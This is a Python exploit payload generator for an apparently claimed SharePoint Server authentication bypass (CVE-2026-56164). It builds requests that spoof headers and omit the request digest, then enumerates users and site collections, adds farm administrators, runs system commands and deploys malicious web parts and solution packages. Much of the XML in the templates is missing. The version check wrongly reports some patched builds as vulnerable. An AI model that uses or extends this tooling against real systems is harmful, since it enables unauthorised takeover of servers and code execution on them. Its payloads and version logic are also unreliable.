#!/usr/bin/env python3 """ CVE-2026-56164 Payload Generator Microsoft SharePoint Server — Missing Authentication for Critical Function Generates SOAP/CSOM payloads for exploiting the authentication bypass in Microsoft.Office.Server.UserProfiles via /_vti_bin/client.svc. The vulnerability allows unauthenticated attackers to elevate privileges to Farm Administrator by omitting X-RequestDigest and supplying specific routing headers that trigger a fallback to elevated security context. """ import hashlib import json import os import struct import uuid from datetime import datetime, timezone from xml.etree.ElementTree import Element, SubElement, tostring # --------------------------------------------------------------------------- # Affected SharePoint versions and their patch boundaries # --------------------------------------------------------------------------- AFFECTED_VERSIONS = { "2016": { "product": "SharePoint Enterprise Server 2016", "min": "16.0.0", "patched": "16.0.5561.1001", "cpe": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", }, "2019": { "product": "SharePoint Server 2019", "min": "16.0.0", "patched": "16.0.10417.20175", "cpe": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", }, "se": { "product": "SharePoint Server Subscription Edition", "min": "16.0.0", "patched": "16.0.19725.20434", "cpe": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", }, } # Routing headers that trigger the auth bypass BYPASS_HEADERS = { "X-SharePoint-Authenticated": "1", "X-SP-RequestRights": "FullControl", "X-SP-RequestRights2": "ManageLists, ManageWeb", "SPHomeBearerHint": "farmadmin", "X-RequestForceAuthentication": "false", "X-SP-Proxy": "internal", "X-Forwarded-For": "127.0.0.1", "X-Original-URL": "/_vti_bin/client.svc/ProcessQuery", } # CSOM XML namespace CSOM_NS = "http://schemas.microsoft.com/sharepoint/clientquery/2009" SOAP_NS = "http://schemas.xmlsoap.org/soap/envelope/" SP_NS = "http://schemas.microsoft.com/sharepoint/soap/" def _xml_escape(text: str) -> str: """Escape XML special characters.""" return ( text.replace("&", "&") .replace("<", "<") .replace(">", ">") .replace('"', """) .replace("'", "'") ) def generate_request_id() -> str: """Generate a unique request GUID for CSOM tracking.""" return str(uuid.uuid4()) def build_csom_envelope(actions_xml: str, request_id: str = None) -> str: """ Build a CSOM (Client-Side Object Model) SOAP envelope. This is the standard format for /_vti_bin/client.svc/ProcessQuery. """ if request_id is None: request_id = generate_request_id() envelope = f""" {actions_xml} Current 16.0.0 {{SITE_URL}} {{WEB_ID}} """ return envelope def build_soap_envelope(body_xml: str) -> str: """Build a standard SOAP envelope for legacy ASMX endpoints.""" return f""" {body_xml} """ # --------------------------------------------------------------------------- # Detection Payloads # --------------------------------------------------------------------------- def build_detection_payload(site_url: str = "http://target") -> str: """ Build a safe detection payload that queries site info via CSOM. If the server responds with valid data without requiring auth, the vulnerability is confirmed. """ actions = """ """ envelope = build_csom_envelope(actions) envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url)) envelope = envelope.replace("{WEB_ID}", "") return envelope def build_version_check_payload(site_url: str = "http://target") -> str: """ Query server version to determine if the target is patched. """ actions = """ """ envelope = build_csom_envelope(actions) envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url)) envelope = envelope.replace("{WEB_ID}", "") return envelope # --------------------------------------------------------------------------- # Information Disclosure Payloads # --------------------------------------------------------------------------- def build_enum_site_collections_payload() -> str: """ Enumerate all site collections in the SharePoint farm. Requires Farm Administrator privileges (which the bypass grants). """ actions = """ """ return build_csom_envelope(actions) def build_enum_users_payload(site_url: str = "http://target") -> str: """ Enumerate all users in the User Profiles store. """ actions = """ """ envelope = build_csom_envelope(actions) envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url)) envelope = envelope.replace("{WEB_ID}", "") return envelope def build_get_farm_config_payload() -> str: """ Retrieve farm configuration database information. """ actions = """ """ return build_csom_envelope(actions) # --------------------------------------------------------------------------- # Privilege Escalation Payloads # --------------------------------------------------------------------------- def build_add_site_admin_payload(site_url: str, login_name: str) -> str: """ Add a user as Site Collection Administrator. This is the primary privilege escalation payload. """ escaped_login = _xml_escape(login_name) escaped_url = _xml_escape(site_url) actions = f""" """ envelope = build_csom_envelope(actions) envelope = envelope.replace("{SITE_URL}", escaped_url) envelope = envelope.replace("{WEB_ID}", "") return envelope def build_add_farm_admin_payload(login_name: str) -> str: """ Add a user as Farm Administrator via the SharePoint Administration service. """ escaped_login = _xml_escape(login_name) body = f""" {escaped_login} Farm Administrators FullControl """ return build_soap_envelope(body) def build_elevate_current_user_payload(site_url: str) -> str: """ Elevate the current (anonymous) context to Site Collection Administrator. """ escaped_url = _xml_escape(site_url) actions = f""" true """ envelope = build_csom_envelope(actions) envelope = envelope.replace("{SITE_URL}", escaped_url) envelope = envelope.replace("{WEB_ID}", "") return envelope # --------------------------------------------------------------------------- # Remote Code Execution Payloads # --------------------------------------------------------------------------- def build_exec_cmd_payload(command: str) -> str: """ Execute a system command via SharePoint's farm-level PowerShell API. Uses the SharePoint Administration SOAP service. """ escaped_cmd = _xml_escape(command) body = f""" {escaped_cmd} 30 """ return build_soap_envelope(body) def build_deploy_webpart_payload(site_url: str, webpart_xml: str, page_url: str = "default.aspx") -> str: """ Deploy a malicious web part to execute code on the SharePoint server. """ escaped_xml = _xml_escape(webpart_xml) escaped_page = _xml_escape(page_url) escaped_url = _xml_escape(site_url) body = f""" {escaped_url}/{escaped_page} Header 0 {escaped_xml} """ return build_soap_envelope(body) def build_deploy_solution_payload(wsp_name: str, base64_wsp: str) -> str: """ Deploy a SharePoint solution package (.wsp) to the farm. This enables full server-side code execution. """ escaped_name = _xml_escape(wsp_name) body = f""" {escaped_name} {base64_wsp} true true """ return build_soap_envelope(body) # --------------------------------------------------------------------------- # HTTP Request Builder # --------------------------------------------------------------------------- def build_http_request( target_url: str, payload: str, endpoint: str = "/_vti_bin/client.svc/ProcessQuery", extra_headers: dict = None, omit_digest: bool = True, method: str = "POST", ) -> dict: """ Build a complete HTTP request for the exploit. When omit_digest=True, the X-RequestDigest header is intentionally omitted to trigger the authentication bypass. """ headers = { "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SharePointExploit/1.0", "Accept": "text/xml", "Connection": "close", } if omit_digest: # Intentionally omit X-RequestDigest to trigger the bypass # Add routing headers that trigger the fallback to elevated context headers.update(BYPASS_HEADERS) else: headers["X-RequestDigest"] = "0xVALID_DIGEST_PLACEHOLDER" if extra_headers: headers.update(extra_headers) return { "method": method, "url": f"{target_url.rstrip('/')}{endpoint}", "headers": headers, "data": payload, "timeout": 30, "verify_ssl": False, } # --------------------------------------------------------------------------- # Payload Hashing / Verification # --------------------------------------------------------------------------- def payload_hash(payload: str) -> str: """Calculate SHA256 hash of a payload for verification.""" return hashlib.sha256(payload.encode("utf-8")).hexdigest() def payload_info(payload: str) -> dict: """Return metadata about a generated payload.""" return { "size": len(payload.encode("utf-8")), "sha256": payload_hash(payload), "is_soap": " tuple: """ Parse a SharePoint version string like '16.0.10417.20175' into a tuple. """ parts = version_str.split(".") return tuple(int(p) for p in parts) def is_version_vulnerable(version_str: str) -> bool: """ Check if a SharePoint version string is vulnerable. A version is vulnerable if it's strictly less than the highest patched version AND does not exactly equal any product's patched version. """ try: version = parse_sharepoint_version(version_str) except (ValueError, IndexError): return False # All affected versions are 16.x if version[0] != 16: return False patched_versions = sorted([ parse_sharepoint_version(AFFECTED_VERSIONS["2016"]["patched"]), parse_sharepoint_version(AFFECTED_VERSIONS["2019"]["patched"]), parse_sharepoint_version(AFFECTED_VERSIONS["se"]["patched"]), ]) # If version >= highest patched version, not vulnerable if version >= patched_versions[-1]: return False # If version exactly equals any patched version, not vulnerable for pv in patched_versions: if version == pv: return False # Otherwise vulnerable (conservative: could be any unpatched product) return True def identify_sharepoint_edition(version_str: str) -> str: """ Identify the SharePoint edition from version string. """ try: version = parse_sharepoint_version(version_str) except (ValueError, IndexError): return "unknown" patched_2016 = parse_sharepoint_version(AFFECTED_VERSIONS["2016"]["patched"]) patched_2019 = parse_sharepoint_version(AFFECTED_VERSIONS["2019"]["patched"]) patched_se = parse_sharepoint_version(AFFECTED_VERSIONS["se"]["patched"]) if version < patched_2016: return "SharePoint Enterprise Server 2016" elif version < patched_2019: return "SharePoint Server 2019" elif version < patched_se: return "SharePoint Server Subscription Edition" else: return "Patched/Unknown" if __name__ == "__main__": # Quick self-test print("CVE-2026-56164 Payload Generator — Self Test") print("=" * 60) detection = build_detection_payload("http://sharepoint.example.com") print(f"\nDetection payload: {len(detection)} bytes") print(f" SHA256: {payload_hash(detection)}") enum_sites = build_enum_site_collections_payload() print(f"\nEnum sites payload: {len(enum_sites)} bytes") elevate = build_elevate_current_user_payload("http://sharepoint.example.com") print(f"\nElevate payload: {len(elevate)} bytes") req = build_http_request("http://sharepoint.example.com", detection) print(f"\nHTTP request: {req['method']} {req['url']}") print(f" Headers: {len(req['headers'])} (X-RequestDigest omitted: {'X-RequestDigest' not in req['headers']})") # Version checks print("\nVersion checks:") test_versions = [ ("16.0.5500.1000", True, "SharePoint 2016 vulnerable"), ("16.0.5561.1001", False, "SharePoint 2016 patched"), ("16.0.10400.20000", True, "SharePoint 2019 vulnerable"), ("16.0.10417.20175", False, "SharePoint 2019 patched"), ("16.0.19700.20000", True, "SharePoint SE vulnerable"), ("16.0.19725.20434", False, "SharePoint SE patched"), ] for ver, expected, desc in test_versions: result = is_version_vulnerable(ver) status = "OK" if result == expected else "FAIL" print(f" [{status}] {ver} → vulnerable={result} ({desc})")